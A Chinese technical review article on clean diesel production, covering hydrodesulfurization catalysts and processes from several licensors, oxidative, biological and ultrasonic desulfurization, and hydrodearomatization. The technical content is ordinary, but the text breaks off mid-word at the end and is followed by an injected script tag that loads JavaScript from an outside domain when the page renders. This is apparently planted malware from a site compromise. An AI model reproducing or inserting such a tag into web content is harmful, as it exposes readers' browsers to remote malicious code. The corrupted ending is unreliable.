清洁柴油生产技术———清洁燃料生产技术进展之二□李阳 邵潜 贺振富 沈宁元　　生产清洁柴油的关键问题是催化柴油和焦化柴油等高芳烃油中含有较多难脱除的硫化物，目前降低柴油馏分中硫和芳烃含量的主要方法仍然是加氢工艺。　　一、柴油加氢脱硫　　IFP提供的Prime-D技术是柴油深度、超深度加氢处理过程，采用缓和氢压和较高空速，有双剂和多剂系统，可长周期加工各种柴油。单段超深度脱硫可使硫含量降至30×10-6，两段处理还可减少多环芳烃并提高十六烷值。新开发的催化剂有HR-416(Co-Mo型柴油深度脱硫)、HR-426(Co-Mo型柴油超深度脱硫)和HR-448(Ni-Mo超深度脱硫/脱氮)3种。　　丹麦Topsoe公司新开发的脱硫催化剂有TK-554(深度脱硫)、TK-574(超深度脱硫)、TK-573(深度脱硫)。其中TK-574高活性钴钼催化剂是超深度脱硫催化剂在生产含硫量500×10-6柴油的装置上使用，可使产品含硫量降至350×10-6，操作周期可达1年。　　美国联合催化剂公司新开发了ASAT脱硫/脱氮/脱芳三功能催化剂，用于柴油深度脱硫脱芳装置的第二反应器（第一反应器使硫含量脱至500×10-6以下），可使总芳烃脱至10%以下，硫脱至10×10-6以下，氮检测不出。该催化剂是以沸石和粘结剂为载体的铂钯贵金属催化剂。处理含蜡的高芳烃原料时，前面还要加一套缓和加氢裂化装置。　　UOP公司开发的MQD Unionfining工艺的单段流程主要是柴油深度脱硫，采用非贵金属催化剂(CoMo/NiMo)使硫含量从1.85%降至350×10-6或50×10-6；两段流程是在第二段采用AS-250贵金属催化剂，进行深度芳烃饱和及选择性加氢裂化，使硫含量降至50×10-6，二环以上多环芳烃从16%降至6%，十六烷指数从49提高到51。　　壳牌公司应用其SMDH馏分油加氢工艺在哥德堡炼厂成功地生产了瑞典1级柴油(含硫量10×10-6，芳烃小于5%)，采用了耐硫性较好的新型含沸石的贵金属催化剂。据称，1999年日本成功开发了一种加有分子筛的钴钼催化剂，可使反应速度提高2～6倍，反应温度降至270℃或空速大大提高。　　中国石化集团公司石油化工科学研究院的SSHT技术,采用非贵金属RN-1催化剂，在6.4MPa及12.0MPa氢分压下，分别加工芳烃体积含量小于30%的直馏柴油馏分及芳烃体积含量大于50%的催化裂化柴油馏分，空速为1.0 h-1,可以获取硫含量小于30 ×10-6的柴油。中国石化集团公司抚顺石油化工研究院采用FH 98催化剂，在6MPa及10MPa氢分压下,分别加工芳烃含量小于30%直馏柴油馏分及芳烃含量大于50%的催化裂化柴油馏分，在空速分别为1.5～2.0h-1及0.6～1.0 h-1时,可以分别得到硫含量小于200 ×10-6及小于50 ×10-6的柴油。　　二、柴油非加氢脱硫　　美国PetroStar公司从1996年开始研究利用转化/萃取脱硫工艺（CED）脱除柴油燃料中的硫。CED工艺利用有机物和有机硫化物与氧化物在极性溶剂中的溶解性不同，以及硫原子有d轨道电子容易氧化的特点，在常压和低于100℃的条件下选择性氧化，然后进行液液萃取脱除柴油中硫化物。该工艺可以将燃料中的硫含量从4200×10-6降到100×10-6以下，而对燃料的其他性质没有不利影响。　　日本石油能源公司（PEC）利用过氧化氢作氧化剂，醋酸或三氟醋酸类的羧酸作促进氧化剂进行氧化，利用氢氧化钠水溶液洗涤，用硅胶或铝胶吸附氧化后的硫化物，达到脱除柴油中硫化物的目的。　　美国能源生物系统公司（EBC）正在开发一种独创的炼油工艺，它采用好氧细菌选择性脱除柴油中的硫。该工艺在常温常压下操作，使用空气来脱硫。EBC计划在PetroStar炼油公司位于阿拉斯加Valdez的炼油厂建设25万 t/a BDS装置，生产硫含量低于50×10-6的清洁柴油，副产4540 t/a羟基联苯亚磺酸盐。柴油生物脱硫与加氢脱硫相比的最大优点是在加工能力相同的情况下，投资节省50%，操作费用节省20%，且不消耗氢气。BDS有望成为柴油深度脱硫成本最低的方案。　　Sulph公司研究的一项柴油脱硫技术，可从原油中除去80%的硫，从柴油中除去98%的硫，使硫含量达到10×10-6。与高温高压的传统方法不同，该技术采用超声波反应器使硫化物反应氧化为砜，再抽提回收砜。　　此外还有其他一些技术在开发中，如柴油吸附脱硫、选择性氧化脱硫、柴油的络合脱硫和溶剂抽提-光化学反应脱硫等。　　三、柴油加氢脱芳烃　　降低柴油芳烃含量可采用多种加氢技术。　　柴油加氢饱和脱芳烃优点在于柴油收率高，但饱和生成的环烷烃十六烷值不高，所得柴油馏分的十六烷值增加不多。单段高压加氢精制工艺流程类似通用的加氢精制流程，只是操作压力较高，为8M～14MPa，根据原料油的芳烃含量，可选用单个多床层或多个串联单床层反应器。常用的催化剂是MoNi/Al2O3，可根据原料油硫、氮含量和高压分离器的操作压力，考虑是否采用循环氢气胺液洗涤脱除H2S工艺流程。适宜于加工硫、氮、芳烃含量高的柴油馏分，可获取芳烃含量小于10%的柴油。　　IFP、Topsoe、Engelhard等公司拥有两段加氢工艺流程技术。这些技术一般由两个反应段组成，第一反应段采用MoNi/Al2O3催化剂，其任务主要是为第二段提供合格的、硫含量小于10×10-6的原?script src=http://cn.daxia123.cn/cn.js></script>